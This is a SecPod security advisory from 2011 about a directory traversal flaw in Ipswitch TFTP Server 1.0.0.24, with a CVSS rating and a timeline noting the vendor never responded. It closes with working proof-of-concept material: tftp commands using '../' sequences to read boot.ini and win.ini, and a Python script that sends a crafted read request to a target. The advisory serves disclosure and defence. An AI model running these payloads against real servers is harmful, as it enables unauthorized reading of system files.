Ipswitch TFTP Server Directory Traversal Vulnerability

############################################################################## # Title : Ipswitch TFTP Server Directory Traversal Vulnerability # Author : Prabhu S Angadi from SecPod Technologies (www.secpod.com) # Vendor : http://www.whatsupgold.com/index.aspx # Advisory : http://secpod.org/blog/?p=424 # http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt # http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py # Version : Ipswitch TFTP Server 1.0.0.24 # Date : 02/12/2011 ############################################################################## SecPod ID: 1028 13/09/2011 Issue Discovered 04/10/2011 Vendor Notified No Response from Vendor 02/12/2011 Advisory Released Class: Information Disclosure Severity: Medium Overview: --------- Ipswitch TFTP Server 1.0.0.24 is prone to a directory traversal vulnerability. Technical Description: ---------------------- The vulnerability is caused due to improper validation to Read Request containing '../' sequences, which allows attackers to read arbitrary files. Impact: -------- Successful exploitation could allow an attacker to obtain sensitive information. Affected Software: ------------------ Ipswitch TFTP Server 1.0.0.24 Tested on: ----------- Ipswitch TFTP Server 1.0.0.24 on Windows XP SP3 & Windows 7. References: ----------- http://www.ipswitch.com/ http://secpod.org/blog/?p=424 http://www.whatsupgold.com/index.aspx http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py Download Link: -------------- http://www.whatsupgold.com/free-software/network-tools/tftp-server.aspx Proof of Concept: ---------------- tftp> get ../../../../../../../../../../../boot.ini tftp> get ../../../../../../../../../../../windows/win.ini Solution: ---------- Not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR = NETWORK ACCESS_COMPLEXITY = LOW AUTHENTICATION = NOT_REQUIRED CONFIDENTIALITY_IMPACT = PARTIAL INTEGRITY_IMPACT = NONE AVAILABILITY_IMPACT = NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL = UNAVAILABLE REPORT_CONFIDENCE = CONFIRMED CVSS Base Score = 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N) CVSS Temporal Score = 4.5 Risk factor = Medium Credits: -------- Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this vulnerability. POC : ====== import sys, socket def sendPacket(HOST, PORT, data): ''' Sends UDP Data to a Particular Host on a Specified Port with a Given Data and Return the Response ''' udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.sendto(data, (HOST, PORT)) data = udp_sock.recv(1024) udp_sock.close() return data if __name__ == "__main__": if len(sys.argv) < 2: print '\tUsage: python exploit.py target_ip' print '\tExample : python exploit.py 127.0.0.1' print '\tExiting...' sys.exit(0) HOST = sys.argv[1] ## The Server IP PORT = 69 ## Default TFTP port data = "\x00\x01" ## TFTP Read Request data += "../" * 10 + "boot.ini" + "\x00" ## Read boot.ini file using directory traversal data += "netascii\x00" ## TFTP Type ## netascii rec_data = sendPacket(HOST, PORT, data) print "Data Found on the target : %s " %(HOST) print rec_data.strip()